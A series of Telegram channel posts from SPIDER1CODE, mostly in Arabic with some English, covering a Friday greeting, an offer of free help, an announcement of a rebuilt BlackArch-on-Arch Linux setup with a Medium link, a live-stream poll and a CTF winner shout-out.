
SPIDER1CODE
SPIDER1CODEverified-telegram-icon
1 753
جمعه مباركه عليكم لأهم مش تنسو صلي على سيدنا محمد صلى الله عليه وسلم 🤍✌🏻

SPIDER1CODE
SPIDER1CODEverified-telegram-icon
1 753
انا عارف ان سنه جديده لسه مش بدات بس خير البر عاجلاً 🤍 تحديث جديد لي قناه و مجتمع : ببساطه في توبك الشات العام او في شات الق
انا عارف ان سنه جديده لسه مش بدات بس خير البر عاجلاً 🤍 تحديث جديد لي قناه و مجتمع : ببساطه في توبك الشات العام او في شات القناه اكتب اي سوال محتار في او اي مشكله حصلت ليك و محتاج مساعده فيها و انا هحاول اساعدك و ارد عليك بافضل مجهود عندي و كل دا مجانا 🤍 وطبعا تغيرات جديده في قناه و ان شاء الله نظام احسن لي احسن 🤍 I know the new year hasn’t started yet, but doing good early is always better 🤍 New update for the channel and the community: Simply, in the public chat or the channel discussion, you can write any question you’re confused about or any problem you’re facing and need help with. I’ll do my best to help you and reply as well as I can — all for free 🤍 Of course, there are new changes in the channel, and God willing, a better system for a better experience 🤍

SPIDER1CODE
SPIDER1CODEverified-telegram-icon
1 753
بلاك ارش عاد !!! الحقيقه انا لن انزل بلاك ارش نفسها ولكن قمت بتصميم و بناء بلاك ارش نسخه منها و هيا تعمل علي لاجهزه الحديثه و الجديده و تعمل علي
Gnome
حاليا ❤️🏆 رابط مقال شرح كيف قمت بذالك : https://spider1sec.medium.com/black-arch-is-back-4fdf903d4892

SPIDER1CODE
SPIDER1CODEverified-telegram-icon
1 753
BLACK ARCH IS BACK !!!! I didn’t install BlackArch. I rebuilt it. This article documents a full technical experiment: How to integrate BlackArch tools and identity on top of a clean Arch Linux system, without downgrades, without instability, and without breaking Arch’s rolling model. The goal wasn’t “using BlackArch” — it was separating layers: Arch Linux as a stable rolling base BlackArch as a toolset, not a distribution GNOME as a controlled, modern desktop The result is a system that keeps Arch clean and stable, while restoring BlackArch as a powerful, modular cybersecurity environment. 📖 Full technical write-up : [https://spider1sec.medium.com/black-arch-is-back-4fdf903d4892] #Linux #ArchLinux #Cybersecurity #OpenSource #BlackArch

SPIDER1CODE
SPIDER1CODEverified-telegram-icon
1 753
عجبك الـ بث مباشر ؟
Anonymous voting

SPIDER1CODE
SPIDER1CODEverified-telegram-icon
1 753
بطل SPIDER-CTF 🤩 @xfmaro بجد من افضل الناس في ctf و الجائزه كانت طريقه حصول علي
chatgpt go

SPIDER1CODE
SPIDER1CODEverified-telegram-icon
1 753
بداء البث المباشر !!!!!